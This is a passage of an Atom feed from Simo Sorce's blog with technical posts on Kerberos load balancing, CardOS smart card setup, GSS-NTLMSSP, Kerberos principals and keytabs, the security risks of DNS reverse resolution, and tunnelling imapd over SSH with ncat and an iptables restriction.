getting access to the backend server directly by firewalling or similar network
level segregation.&lt;/p&gt;

&lt;h4&gt;Choosing a solution&lt;/h4&gt;

&lt;p&gt;Choosing which option is right depends on many factors, for example, if
(some) clients need to be able to authenticate directly to the backend servers
using their individual names, then using only one name only like in the first
and fourth options is clearly not possible. Using or not aliases may or not be
possible depending on whether the KDC in use supports them.&lt;/p&gt;

&lt;h4&gt;More complex cases, the FreeIPA Web UI&lt;/h4&gt;

&lt;p&gt;The FreeIPA Web UI adds more complexity to the aforementioned cases. The Web
UI is just a frontend to the underlying LDAP database and relies on
&lt;a href=&quot;https://ssimo.org/blog/id_011.html&quot;&gt;constrained delegation&lt;/a&gt; to access the LDAP server, so
that access control is applied by the LDAP server using the correct user
credentials.&lt;/p&gt;
&lt;p&gt;The way constrained delegation is implemented requires the server to obtain
a TGT using the server keytab. What this means is that only one Service
Principal Name can be used in the FreeIPA HTTP server and that name is
determined before the client connects. This factor makes it particularly
difficult for FreeIPA servers to be load balanced. For the HTTP server the
FreeIPA master could theoretically be manually reconfigured to use a single
common name and share a keytab, this would allow clients to connect to any
FreeIPA server and perform constrained delegation using the common name,
however admins wouldn't be able to connect to a specific server and change
local settings. Moreover, internal operations and updates may or may not work
going forward.&lt;/p&gt;
&lt;p&gt;In short, I wouldn't recommend it until the FreeIPA project provides a way
to officially access the Web UI using aliases.&lt;/p&gt;
&lt;p&gt;A poor man solution if you want to offer a single name for ease of access
and some sort of load balancing could be to stand up a server at the common
name and a CGI script that redirects clients randomly to one of the IPA
servers.&lt;/p&gt;</content>
		<author>
			<name>Simo Sorce</name>
			<uri>https://ssimo.org/blog/</uri>
		</author>
		<source>
			<title type="html">Simo's Blog</title>
			<subtitle type="html">No good deeds goes unpunished</subtitle>
			<link rel="self" href="https://ssimo.org/blog/blog.atom"/>
			<id>https://ssimo.org/blog/atom</id>
			<updated>2026-05-10T07:28:35+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">PSA - Smart Cards are still a Hell - Instructions for CardOS cards</title>
		<link href="https://ssimo.org/blog/id_018.html"/>
		<id>tag:ssimo.org.blog:id_018</id>
		<updated>2014-01-02T17:00:00+00:00</updated>
		<content type="html" xml:lang="en">&lt;p&gt;Some time ago I received a Smart Card from work in order to do some
testing. Of course as soon as I received it I got drowned into some other
work and had to postpone playing with it. Come the winter holiday break and
I found some time to try this new toy. Except ...&lt;/p&gt;

&lt;p&gt; ... except I found out that the Smart Card Hell is still a Hell&lt;/p&gt;

&lt;p&gt;I tried to find information online about how to initialize the CardOS
card I got and I found very little cohesive documentation even on the sites
of the tools I ultimately got to use.&lt;/p&gt;

&lt;p&gt;The smart card landscape is still a fragmented lake of incompatibility,
where the same tools work for some functions on some cards and lack in any
way usability.&lt;/p&gt;

&lt;p&gt;Ultimately I couldn't find out the right magic incantation for the reader
and card combo I had, and instead had to ask a coworker that already used
this stuff.&lt;/p&gt;

&lt;p&gt;Luckily he had the magic scroll and it allowed me, at least, to start
playing with the card. So for posterity, and for my own sake, let me register
here the few steps needed to install a certificate in this setup.&lt;/p&gt;

&lt;p&gt;I had to use no less than 3 different CLI tools to manage the job, which is
insane in its own right. The tools as you will see have absurd requirements
like sometimes specifying a shared object name on the CLI ... I think smart
card tools still win the &quot;Unusable jumbled mess of tools - 2013 award&quot;.&lt;/p&gt;

&lt;p&gt; The &lt;em&gt;cardos-tool --info&lt;/em&gt; command let me know that I have a
&lt;em&gt;SCM Microsystems Inc. SCR 3310&lt;/em&gt; Reader using a &lt;em&gt;CardOS V4.3B&lt;/em&gt;
card. Of course you need to know in advance that your card is a CardOS one to
be able to find out the tool to use ...&lt;/p&gt;

&lt;p&gt;The very Lucky thing about this card is that if can be reformatted to
pristine status w/o knowing any PIN or PUK. Of course that means someone can
wipe it out, but that is not a big deal in production (someone can always lock
it dead by failing enough time to enter PIN and PUK codes), but it is great
for developers that keep forgetting whatever test PIN or PUK code was used
with the specific card :-) This way the worst case is that you just need to
format and generate/install a new cert to keep testing.&lt;/p&gt;

&lt;p&gt;So on to the instructions:&lt;/p&gt;

&lt;p&gt;Format the card:
&lt;pre&gt;cardos-tool -f&lt;/pre&gt;
and notice how no confirmation at all is requested, and it works as a user on
my Fedora 20 machine. I find not asking for confirmation a bit bold, given this
operation destroys all current content, but ... whatever ...&lt;/p&gt;

&lt;p&gt;Create necessary PKCS#15 and set admin pins:
&lt;pre&gt;pkcs15-init -CT --so-pin 12345678 --so-puk 23456789&lt;/pre&gt;
note, that you have to know that you need to create this stuff and that a tool
with obscure switches to do it also exists ...&lt;/p&gt;

&lt;p&gt;Separately create user PIN and unlock code:
&lt;pre&gt;pkcs15-init -P -a 1 --pin 87654321 --puk 98765432 --so-pin 12345678 --label &quot;My Cert&quot;&lt;/pre&gt;
No idea why this needs to be a separate operation, part of the magic
scroll.&lt;/p&gt;

&lt;p&gt;Finally import an existing certificate:
&lt;pre&gt;pkcs15-init --store-private-key /path/to/file.cert --auth-id 01 --pin 87654321 --so-pin 12345678&lt;/pre&gt;
again not sure why a separate command, also note that this assumes a PEM
formatted file, if you have a pkcs12 file use the &lt;em&gt;--format pkcs12&lt;/em&gt;
switch to feed it into. Note that the tool assumes pkcs12 cert files are
passphrase protected so you need to know the code before trying to upload such
formatted certs ion the card.&lt;/p&gt;

&lt;p&gt;Check everything went well with:
&lt;pre&gt;pkcs11-tool --module opensc-pkcs11.so -l --pin 87654321 -O&lt;/pre&gt;
of course yet another tool, with the most amusing syntax of them all ...&lt;/p&gt;

&lt;p&gt;... and that is all I know at this point. If you feel the need to weep at
this point feel free, I am reserving a corner of my room to do just that later
on after lunch ...&lt;/p&gt;</content>
		<author>
			<name>Simo Sorce</name>
			<uri>https://ssimo.org/blog/</uri>
		</author>
		<source>
			<title type="html">Simo's Blog</title>
			<subtitle type="html">No good deeds goes unpunished</subtitle>
			<link rel="self" href="https://ssimo.org/blog/blog.atom"/>
			<id>https://ssimo.org/blog/atom</id>
			<updated>2026-05-10T07:28:35+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">GSS-NTLMSSP a new GSSAPI Mechanism</title>
		<link href="https://ssimo.org/blog/id_017.html"/>
		<id>tag:ssimo.org.blog:id_017</id>
		<updated>2013-10-13T19:00:00+00:00</updated>
		<content type="html" xml:lang="en">&lt;p&gt;Without fanfare here is my latest wandering in the creation of obscure and
complicated security infrastructure software: &lt;a href=&quot;https://ssimo.org/code/gss-ntlmssp/&quot;&gt;GSS-NTLMSSP&lt;/a&gt;.
&lt;/p&gt;

&lt;p&gt;NTLM is Microsoft's first effort at creating a secure authentication method
that wouldn't rely on exposing the user password to the target service and
instead used a Challenge Response mechanism to create proof of knowledge of a
shared secret between the client and the server.
&lt;/p&gt;

&lt;p&gt;During the years Microsoft has slighlty improved the protocol and later on
when they finally created the SSPI subsystem in Windows they created the
NTLMSSP mechanism that incapsulated all NTLM usages.
&lt;/p&gt;

&lt;p&gt;Micosoft's &lt;a href=&quot;https://en.wikipedia.org/wiki/Security_Support_Provider_Interface&quot;&gt;SSPI&lt;/a&gt;
is the Windows equivalent (and wire-compatible) version of &lt;a href=&quot;https://tools.ietf.org/html/rfc2743&quot;&gt;GSSAPI&lt;/a&gt; and I've been wanting to
build this mechanism since MIT Kerberos added directly supoport for the &lt;a href=&quot;https://tools.ietf.org/html/rfc4178&quot;&gt;SPNEGO&lt;/a&gt; negotiation mechanism.
&lt;/p&gt;

&lt;p&gt;The current code is still young and many things are missing, notably the
ability to use Domain Controller based authentication for the server side.
However I find it is a quite useful module for clients, so here we have our
first shiny release: &lt;a href=&quot;https://ssimo.org/code/gss-ntlmssp/gssntlmssp-0.1.0.tar.gz&quot;&gt;0.1.0&lt;/a&gt;.
&lt;/p&gt;

&lt;p&gt;Feel free to try and use it and let me know if you have neat ideas to
improve its use and usability.&lt;p&gt;&lt;/p&gt;&lt;/p&gt;</content>
		<author>
			<name>Simo Sorce</name>
			<uri>https://ssimo.org/blog/</uri>
		</author>
		<source>
			<title type="html">Simo's Blog</title>
			<subtitle type="html">No good deeds goes unpunished</subtitle>
			<link rel="self" href="https://ssimo.org/blog/blog.atom"/>
			<id>https://ssimo.org/blog/atom</id>
			<updated>2026-05-10T07:28:35+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">About Kerberos Principals and Keys</title>
		<link href="https://ssimo.org/blog/id_016.html"/>
		<id>tag:ssimo.org.blog:id_016</id>
		<updated>2013-06-20T21:00:00+00:00</updated>
		<content type="html" xml:lang="en">&lt;p&gt;I find time and again people find the concept of principals is a confusing
unless they are very familiar with Kerberos.&lt;/p&gt;

&lt;p&gt;I see the same issues when discussing about keys and keytabs.&lt;/p&gt;

&lt;p&gt;So what is a Kerberos Principal ?&lt;/p&gt;

&lt;p&gt;The simplest, initial, answer can be that a principal is the analogous of a
user name in a multiuser OS. So why do we call it principal ? And why do you
hear variations like 'User Principal' or 'Service Principal' ?&lt;/p&gt;

&lt;p&gt;The reason why the term principal is used is because 'user' is indeed
insufficient, too generic and misleading. In Kerberos there are many actors
that need keys, any actor that need a key needs to be represented by an
identifier. These identifiers are compounded strings called 'principals'.&lt;/p&gt;

&lt;h4&gt;Anatomy of a principal&lt;/h4&gt;

&lt;p&gt;A principal is a set of components represented by strings. One very
important component is the realm name, each principal is always fully qualified
with the name of the realm, The realm is represented by the last component in
the string form. It is placed after an @ sign and is conventionally all upper
case. The first part of the principal, instead, represents a specific identity
within the realm. The first part can be split in multiple components joined by
a / character.&lt;/p&gt;

&lt;p&gt;Example:
&lt;pre&gt;&lt;font size=&quot;3&quot;&gt;component1 / component2 @ REALM&lt;/font&gt;&lt;/pre&gt;
&lt;/p&gt;

&lt;p&gt;The simplest principals are actually what we think of users, generally
actual people. The simplest identifier to represent users uses just one
component and the realm. For example, the principal simo@EXAMPLE.COM
represents a user named 'simo' that belongs to a realm named EXAMPLE.COM&lt;/p&gt;

&lt;p&gt;The component is what we think of a user name, pretty simple so far. The
realm as you can see resembles a domain name. That is on purpose as normally
Kerberos realms are tied to DNS domain names, although not strictly required
by the protocol specifications. Some implementations of Kerberos like Active
Directory makes this a requirement. In AD the realm name is always the (DNS)
domain name.&lt;/p&gt;

&lt;p&gt;Another set of extremely important principals are the so called Service
Principals. These principals represent actual programs or computers.
Their form normally comprises two components, a service part and a fully
qualified hostname.&lt;/p&gt;

&lt;p&gt;Example:
&lt;pre&gt;&lt;font size=&quot;3&quot;&gt;nfs/server.example.com@EXAMPLE.COM&lt;/font&gt;&lt;/pre&gt;
&lt;/p&gt;

&lt;p&gt;Let's analyze this principal name. The first component represents the
service being used, in this case 'nfs' is used to represent a NFS server.
Other well know service types are 'HTTP', 'DNS', 'host', 'cifs', etc...
The second component is a DNS name. This is the server's own name. The realm
specifies that this service is bound to the EXAMPLE.COM realm.&lt;/p&gt;

&lt;p&gt;Why this specific convention was chosen to represent a specific NFS Server
?&lt;/p&gt;

&lt;p&gt;The reason is that the Kerberos protocol does not offer a name resolution
service. So a convention was devised to make it easy for a client to
automatically compute what is the principal name of a target service they want
to contact based on 2 easy to know names: the service type, and the name of the
host that is offering it. This is necessary because this name is used by the
client to contact the KDC and ask for a ticket for that specific service.
If the client doesn't know the specific name of the target service, it cannot
ask for a ticket.&lt;/p&gt;

&lt;p&gt;The service type is easy to know, an NFS client is used to connect to an NFS
server and the type can simply be hard coded to 'nfs', or can be set into a
configuration file quite easily, it will be the same for all services of that
type across the network.&lt;/p&gt;

&lt;p&gt;The host name is also generally a well known name. When a user wants to
connect to a specific server it has to identify it somehow to the NFS client,
and that usually means giving the mount utility a server 'name'. Same for HTTP,
you have to give the browser a server name to contact as part of a URL and so
on. The only limitation, in case of Kerberos is that you need the canonical
form upfront (although there is work to relax this requirement). DNS is often
used to find out the canonical form from a shorter name or sometimes even an
IP address (but see &lt;a href=&quot;https://ssimo.org/blog/id_015.html&quot;&gt;this post&lt;/a&gt; about reverse
resolution).&lt;/p&gt;

&lt;p&gt;The question at this point is why do we need principals to represent
services or whole hosts ? The answer is that each service you want to contact
needs keys in order to decrypt the tickets you present them to authenticate
yourself.&lt;/p&gt;

&lt;h4&gt;Keys and Keytabs&lt;/h4&gt;

&lt;p&gt;Each principal is associated to a specific key in the KDC and this
key is used to encrypt the tickets given to the clients. A service needs the
same key in order to decrypt tickets; this is why Kerberos is called a shared
key system. Any actor in a Kerberos system has a key that is also known to
the KDC and is used to authenticate messages sent to the KDC or received from
the KDC (a ticket can be considered a message received indirectly from the
KDC where the KDC asserts the identity of the client.)&lt;/p&gt;

&lt;p&gt;For user principals the key is the user's password. The KDC stores a copy
of the password (generally transformed from the clear text into a more
cryptographically useful secret through a key derivation process, but
nonetheless perfectly equivalent to the user password).&lt;/p&gt;

&lt;p&gt;For service principals, generally, instead of using a password a random key
is generated and stored both in the KDC and in a file called a 'Keytab'.&lt;/p&gt;

&lt;p&gt;A keytab file contains keys for a specific service, it is completely
equivalent to a password file and needs to be treated as a highly sensitive
secret.&lt;/p&gt;

&lt;p&gt;Possession of the keytab means ability to fully impersonate the
principal whose keys are stored in the keytab file. This means a keytab file
should never be transmitted over a network in the clear (no emailing of keytabs
please) and should be protected by appropriate access control (file
permissions) at all times; a common mistake is to create a file in /tmp that
is readable by anyone and only then move it somewhere else more secure.&lt;/p&gt;

&lt;p&gt;Users can also use keytabs, a password can always be transformed into a
keytab (using the same key derivation process that the KDC uses to store its
copy), but that is less common because any password change will require to
create a new keytab with the new keys.&lt;/p&gt;

&lt;h4&gt;Using and mapping principals&lt;/h4&gt;

&lt;p&gt;One of the things that people seem not to realize when they are first shown
principals is that any principal can be used as a client to contact any service
(this is not always true in AD as sometimes Service Principals are not allowed
to request a TGT, but this is a configuration decision and is not always
true).&lt;/p&gt;

&lt;p&gt;This means that when accepting connections authenticated via Kerberos,
applications need to pay a little bit of attention to who the client is. And
need to perform some basic access control on the client principal before
allowing access.&lt;/p&gt;

&lt;p&gt;A common mistake is to take the principal name in string form
and simply cut anything after the @ sign (the realm name) and use the
remaining part as a 'user name' on the system, then perform calls like
getpwnam() with this user name and grant the client the same access this user
has on the system. Another even worse mistake is to allow ANY client that
could properly authenticate to access data as if it were 'trusted' somehow.
&lt;/p&gt;

&lt;p&gt;On the one hand this may not be sufficient, and on the other this may be
dangerously broad and an actual security issue.&lt;/p&gt;

&lt;p&gt;First of all, as we said above, any principal may try contact a service, not
just users that have a 1-1 corresponding name in the system. A NFS Server may
act as a client and use it's key to contact another service. For example a web
application needs to decide whether it wants to grant access to a client named
nfs/nfsserver.example.com@EXAMPLE.COM just like it gives access to
joe@EXAMPLE.COM or not.&lt;/p&gt;

&lt;p&gt;There are also more exotic principals that may contact a service though, not
just principals that are somehow directly trusted by our own KDC. For example
anonymous principals and principals coming from a trusted realm.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://k5wiki.kerberos.org/wiki/Anonymous_kerberos&quot;&gt;Anonymous
principals&lt;/a&gt; are quite an obscure and little used feature, often it is not
possible to get tickets anonymously in a Kerberos realm, but they are allowed
by some implementation, and if the KDC is configured to allow anonymous
principals then applications need to be careful not to give these clients the
same access they give to fully identified clients.&lt;/p&gt;

&lt;p&gt;The anonymous principal is:
&lt;pre&gt;&lt;font size=&quot;3&quot;&gt;WELLKNOWN/ANONYMOUS@WELLKNOWN:ANONYMOUS&lt;/font&gt;&lt;/pre&gt; &lt;/p&gt;

&lt;p&gt;As can be seen the realm is actually a specially named realm and this is to
avoid legacy apps that match the REALM before allowing access to be fooled in
to thinking this is a fully trusted user. This is one reason why simply blindly
chopping off anything after the @ character is a grave mistake.&lt;/p&gt;

&lt;p&gt;Another reason why the realm part must be validated are Kerberos
cross-realm trusts. A Kerberos realm can be configured to 'trust' another
Kerberos realm. Meaning the principals of Realm A are allowed to get tickets
for services in Realm B if there is a trust relationship between B and A.&lt;/p&gt;

&lt;p&gt;For our application this means that it may be contacted by both the user
joe@REALM.A and a different user joe@REALM.B that has nothing to do
with the previous one. If our application simply cuts off the realm part,
without checking that the realm matches something it understand, it may give
access to data of a user in one realm to an homonym in another realm. &lt;/p&gt;

&lt;p&gt;In general applications that do not want to deal with multiple realms
should define one realm as allowed and refuse access to any principal that
comes from a different realm. If multiple realms need to be supported (and that
is a good idea) then appropriate mapping from the principal to an application
identifier should be performed, by either using the full principal name as
identifier, or by asking the system to map the principal for us including
telling whether the principal is acceptable. This can be done in GSSAPI by using
the gss_localname() function, which respects the auth_to_local configuration
documented in the krb5.conf(5) manpage.&lt;/p&gt;

&lt;p&gt;Using the system provided configuration allows admins to configure rules
only once for the whole machine/network and avoid the need to implement mapping
in every different application, so I highly recommend it where possible.&lt;/p&gt;

&lt;p&gt;Additional warning: Principal names are considered case sensitive by the
reference implementation (MIT Kerberos) but some implementation treat them in
a case-insensitive way (Active Directory for example). It is safer to always
treat principal names in a case sensitive way. (Active Directory will
generally always provide the canonicalized form in tickets although it may
accept mismatching cases when requesting tickets).&lt;/p&gt;

&lt;p&gt;Hopefully this brief explanation will be useful to understand how to deal
with principals and key tabs to the casual programmer that cares more about the
practical implications rather than the abstract semantics and technicalities
of the Kerberos protocol.&lt;/p&gt;</content>
		<author>
			<name>Simo Sorce</name>
			<uri>https://ssimo.org/blog/</uri>
		</author>
		<source>
			<title type="html">Simo's Blog</title>
			<subtitle type="html">No good deeds goes unpunished</subtitle>
			<link rel="self" href="https://ssimo.org/blog/blog.atom"/>
			<id>https://ssimo.org/blog/atom</id>
			<updated>2026-05-10T07:28:35+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Why depending on DNS Reverse resolution is bad</title>
		<link href="https://ssimo.org/blog/id_015.html"/>
		<id>tag:ssimo.org.blog:id_015</id>
		<updated>2013-04-03T23:10:00+00:00</updated>
		<content type="html" xml:lang="en">&lt;p&gt;I have been recently involved in a discussion about why I go around trying
to stop applications from using and sometime even depending on DNS Reverse
resolution (PTR records lookups).&lt;/p&gt;

&lt;p&gt;There are 2 main reasons:
&lt;ul&gt;
  &lt;li&gt;In many networks you cannot really control the PTR records, so reverse
resolution is simply broken&lt;/li&gt;
  &lt;li&gt;Reverse resolution is bad when used for security protocols like
GSSAPI&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's start from the first point, which is easy to argue about. In a lot of
cases the person setting up a service is not the same person controlling the
DNS. Even more the DNS person/organization controlling the Forward Zone may not
be at all the same one that controls the Reverse Zone.&lt;/p&gt;

&lt;p&gt;This is true for the general internet usage (try asking your ISP to set a
special PTR record for your residential public IP address ... laughs) but also
for some corporate environments where the Network Ops may be so separate from
the user installing a machine and rules to ask changes to DNS so complex that it
is sometime simply too inconvenient to ask for changes, especially in temporary
settings like Proof of Concept trials, etc.. This is not hypothetical, in my
past life as consultant I've seen it all, and I can tell PTR records are broken
more often than not.&lt;/p&gt;

&lt;p&gt;So by this reason alone depending on a PTR record to obtain the actual name
of a server is a pretty high bar and will inevitably be a barrier for adoption.
It gets to silly levels if an application actually gets the 'right' name in
input and then translates it into an IP only to attempt reverse resolution and
fail. Users legitimately get pissed the app is so stupid as to throw away the
name they just gave it. I just gave the name to you! Don't you see it!&lt;/p&gt;

&lt;p&gt;It is surprising how many applications do this silly game when it comes with
providing the target name to GSSAPI, which introduces the second point.&lt;/p&gt;

&lt;p&gt;Why is it bad from a security point of view ? We understand that it is
unfortunate for cases were reverse resolution is broken, but if reverse
resolution is properly configured what is so bad depending on it ?&lt;/p&gt;

&lt;p&gt;This is a little scenario I wrote up on the &lt;a href=&quot;http://marc.info/?l=linux-nfs&amp;m=136500502805121&amp;w=2&quot;&gt;linux-nfs&lt;/a&gt;
mailing list to explain how the fact rpc.gssd (the client that handles GSSAPI
authentication on the kernel behalf in user space for the nfs client module)
depends on reverse resolution can actually be exploited by an attacker.&lt;/p&gt;

&lt;p&gt;Assume the following scenario:
&lt;ul&gt;
  &lt;li&gt;User Alice has access to secret documents that are automatically backed
up daily by mounting a NFS share from &lt;em&gt;secure.server.name&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;Only Alice has write or read access to this server&lt;/li&gt;
  &lt;li&gt;User Eve wants to get hold of those documents and is in a position to
intercept and modify Alice's traffic&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt;
  &lt;li&gt;There is a similar server available on the network that Alice has write
access to called &lt;em&gt;public.server.name&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;Eve has read access on public.server.name&lt;/li&gt;
  &lt;li&gt;The NFS servers use RPCSEC_GSS (Kerberos) to secure the communications
and perform mutual authentication.&lt;/li&gt;
&lt;/p&gt;

&lt;p&gt;Note that Eve does not need to be controlling any of the servers, and it is
sufficient for her to be able to spoof DNS replies.&lt;/p&gt;

&lt;p&gt;Now the attack: Eve wants to fool Alice's computer to mount the public
server's NFS share instead of the secure server one, so that the automatic
backup job will copy Alice's secret documents to the public server where Eve
has read access and can grab a copy.&lt;/p&gt;

&lt;p&gt;Normally this is not possible, because the Kerberos protocol implies mutual
authentication. Not only the user authenticates to a server by using a ticket,
but the ticket is only usable by the &lt;em&gt;right&lt;/em&gt; target server, therefore
authentication fail if either the user or the server are not who they say they
are.&lt;/p&gt;

&lt;p&gt;In our case normally Alice will grab a ticket for nfs@secure.server.name
(GSSAPI Naming notation), which can be used exclusively to authenticate against
the secure server. If Eve tries to redirect communication to the public server
the authentication will fail because the public server is not able to decrypt
the ticket.&lt;/p&gt;

&lt;p&gt;However, rpc.gssd does a &lt;em&gt;very bad thing(TM)&lt;/em&gt;. When the client runs
the mount command it uses the name provided on the command line to obtain the
server's IP address, then &lt;em&gt;ignores&lt;/em&gt; the fact we already have a name and
proceeds to perform a reverse lookup to 'find' the server name.&lt;/p&gt;

&lt;p&gt;What this means is that Eve can simply spoof the DNS to redirect Alice's
computer to contact the wrong server and then later rpc.gssd will 'find' that
the 'real' name of the server is &lt;em&gt;public.server.name&lt;/em&gt; (Either because
Eve spoofed the original forward resolution reply or by spoofing the reverse
resolution reply later on).&lt;/p&gt;

&lt;p&gt;Now Alice's computer will call into GSSAPI with the constructed name of
nfs@public.server.name and when it connects to that server mutual
authentication is successful because the ticket can be decrypted by the
target server.&lt;/p&gt;

&lt;p&gt;Eve just waits for Alice's computer to complete its backup on the wrong
server on which she has read access, and grabs the documents.&lt;/p&gt;

&lt;p&gt;This type of attack obviously is not limited to the NFS protocol but can
be performed against any client that trusts DNS Reverse resolution to determine
the target server's name. It is also not limited to GSSAPI, an SSL client
might also be fooled the same way if it doesn't check the name that was
provided in the URL but instead uses DNS Reverse resolution to validate the
server certificate. Luckily I am not aware of any client doing that for
HTTPS at least.&lt;/p&gt;

&lt;p&gt;And that is all folks!&lt;/p&gt;</content>
		<author>
			<name>Simo Sorce</name>
			<uri>https://ssimo.org/blog/</uri>
		</author>
		<source>
			<title type="html">Simo's Blog</title>
			<subtitle type="html">No good deeds goes unpunished</subtitle>
			<link rel="self" href="https://ssimo.org/blog/blog.atom"/>
			<id>https://ssimo.org/blog/atom</id>
			<updated>2026-05-10T07:28:35+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">IMAPD via SSH and Thunderbird</title>
		<link href="https://ssimo.org/blog/id_014.html"/>
		<id>tag:ssimo.org.blog:id_014</id>
		<updated>2013-03-04T04:10:00+00:00</updated>
		<content type="html" xml:lang="en">&lt;p&gt;I have been using &lt;a href=&quot;http://projects.gnome.org/evolution/&quot;&gt;Evolution&lt;/a&gt; for many years, and
one of the key features that kept me using it was the ability to run imapd on
another machine via ssh. This was done using a simple command in Evolution's
option:&lt;/p&gt;

&lt;pre&gt;ssh -l &amp;lt;user&amp;gt; &amp;lt;server&amp;gt; exec /usr/sbin/imapd&lt;/pre&gt;

&lt;p&gt;This ssh command will allow Evolution to connect directly to a
pre-authenticated imapd process on my server avoiding the need to run a
network facing service and the need for password based authentication.
Everything is accessed via my ssh connection that uses key based
authentication&lt;/p&gt;

&lt;p&gt;(the option is not directly available anymore and you have to fiddle
with gsettings to use it now, which is a real shame as it is completely
undiscoverable.)&lt;/p&gt;

&lt;p&gt;I recently decided to try out &lt;a href=&quot;https://www.mozilla.org/thunderbird/&quot;&gt;Thunderbird&lt;/a&gt; again and found
out that this is one of the features that is still missing, after all these
years ...&lt;/p&gt;

&lt;p&gt;This was a blocker for me, so I decided to find a workaround that would
allow me to use Thunderbird and still use ssh to reach the imapd daemon on my
server, like I have done for the last decade.&lt;/p&gt;

&lt;p&gt;After some tinkering and reading on all the SSH options for Nth time I came
to the conclusion that ssh alone cannot run a remote command and wire
it's STIDN/STDOUT to a local port even though it can do pretty much any other
forwarding you may think of, including forwarding your local STIDN/STDOUT to
a remote host/port ... a real shame.&lt;/p&gt;

&lt;p&gt;The most I could achieve was to make SMTP available this way, as I do have
an MTA listening to an actual TCP port on the server. Making the MTA available
is easy, you just need to run the following command on your client:&lt;/p&gt;

&lt;pre&gt;
ssh -f -N -C -L 10025:localhost:25 -o ExitOnForwardFailure=yes -l &amp;lt;user&amp;gt; &amp;lt;server&amp;gt;
&lt;/pre&gt;

&lt;p&gt;This command, makes available locally on port 10025 the server's port 25
through a simple forward on a SSH encrypted channel. The -f and -N options,
are used to put ssh in the background without running any command or shell.
The -C option turns on compression and the ExitOnForwardFailure option makes
ssh fail to start if it cannot establish the forwarding. This way if I run the
command multiple times only one tunnel stays up as the other shells will simply
silently exit.&lt;/p&gt;

&lt;p&gt;This is quite cool already but doesn't solve my imap problem, to solve it
I need to employ one of those little know yet very powerful tools available
on Linux (and other *nix OSs as well): &lt;a href=&quot;https://en.wikipedia.org/wiki/Netcat&quot;&gt;netcat&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The version I have installed is the one distributed with the &lt;a href=&quot;http://nmap.org/ncat/&quot;&gt;Nmap&lt;/a&gt; project.&lt;/p&gt;

&lt;p&gt;Netcat (ncat or nc) is an incredibly useful tool. I've used it countless
of times for all sort of things over the network. And it is the perfect
tool to solve my problem when used this way:&lt;/p&gt;

&lt;pre&gt;ncat -k --sh-exec &quot;ssh -C -l &amp;lt;user&amp;gt; &amp;lt;server&amp;gt; exec /usr/sbin/imapd&quot; -l localhost 10143&lt;/pre&gt;

&lt;p&gt;This command does a wonderful thing. It keeps (-k) listening (-l) on the
local port 10143 and every time there is a connection it will run the command
provided by the --sh-exec option in a shell and wire it's STDIN/STDOUT to the
connection that has been just opened over TCP.&lt;/p&gt;

&lt;p&gt;This is exactly what I needed. Now every time Thunderbird connects to my
local port 10143, netcat will run the ssh command that will connect to the
remote server as my user and run the imapd server.&lt;/p&gt;

&lt;p&gt;Although Thunderbird's configuration doesn't seem to allow for 'non'
authenticated connections, everything seem to work fine if I just leave the
password empty. (Remember the imapd server is pre-authenticated via my ssh
connection as my remote user and requires no additional authentication)&lt;/p&gt;

&lt;p&gt;So what is missing here ? The Security paranoids among my readers should
have spotted one glaring issue! Everybody on my local machine can now connect
to my local port 10143 and access my remote mailbox without
authentication!!&lt;/p&gt;

&lt;p&gt;Let me fix that with a single firewall instruction:&lt;/p&gt;

&lt;pre&gt;iptables -A OUTPUT -p tcp --dport 10143 -d 127.0.0.1 -m owner ! --uid-owner simo -j REJECT&lt;/pre&gt;

&lt;p&gt;Yep, it is a simple as that (on Linux at least). But what does it do ?&lt;/p&gt;

&lt;p&gt;This command uses a very nifty feature of iptables that allows the kernel
to recognize who is the owner of any outbound connection and will prevent
any connection to port 10143 for any user on the system that is not me.
Of course iptables filters any non local connection to my machine as well.&lt;/p&gt;

&lt;p&gt; Problem solved! &lt;/p&gt;

&lt;p&gt;Now I can start playing with Thunderbird and see what else I need to tweak
to make it useful for me (one thing I already found is an add-on to
import/export entire folders, a feature I always wanted and missed in
Evolution)&lt;/p&gt;</content>
		<author>
			<name>Simo Sorce</name>
			<uri>https://ssimo.org/blog/</uri>
		</author>
		<source>
			<title type="html">Simo's Blog</title>
			<subtitle type="html">No good deeds goes unpunished</subtitle>
			<link rel="self" href="https://ssimo.org/blog/blog.atom"/>
			<id>https://ssimo.org/blog/atom</id>
			<updated>2026-05-10T07:28:35+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Talking to people</title>
		<link href="https://ssimo.org/blog/id_013.html"/>
		<id>tag:ssimo.org.blog:id_013</id>
		<updated>2013-03-01T21:00:00+00:00</updated>
		<content type="html" xml:lang="en">&lt;p&gt;The new year started with a lot of talks at various conferences.&lt;/p&gt;

&lt;p&gt;For the past few years I had slowed down on attending conferences, but this
year started with my attendance to 2 conferences I like a lot.&lt;/p&gt;

&lt;p&gt;The first is &lt;a href=&quot;https://fosdem.org/&quot;&gt;FOSDEM&lt;/a&gt;, probably the best
Free Software conference and certainly the biggest one in the world. &lt;/p&gt;
&lt;p&gt;I just love FOSDEM, I love Belgium for the Beers and Chocolate, so it is
always a pleasure for me to go there. Plus I have friends in Brussels, where
I have been multiple times in the past so it is always a pleasure to go back
there for a full immerse week end.&lt;/p&gt;

&lt;p&gt;This year I presented 2 talks at FOSDEM.&lt;/p&gt;
&lt;p&gt;One in the main track about &lt;a href=&quot;https://ssimo.org/slides/FOSDEM-2013-Building-IDM.pdf&quot;&gt;
Identity Management on Linux&lt;/a&gt; and a second in the &lt;a href=&quot;https://fosdem.org/2013/schedule/track/legal_issues/&quot;&gt;Legal Devroom&lt;/a&gt;
about a &lt;a href=&quot;https://ssimo.org/slides/FOSDEM-2013-Legal-Track-Simo.pdf&quot;&gt;Veteran's
perspective&lt;/a&gt; on various legal matters surrounding Free and Open Source
Software. I organized this talk as an open discussion between me and the public
and I absolutely loved the conversation.&lt;/p&gt;

&lt;p&gt;The IdM talk in contrast was a classic solo speech on a 30 kilometers high
overview about the problem of building an IdM system on Linux and for Linux.
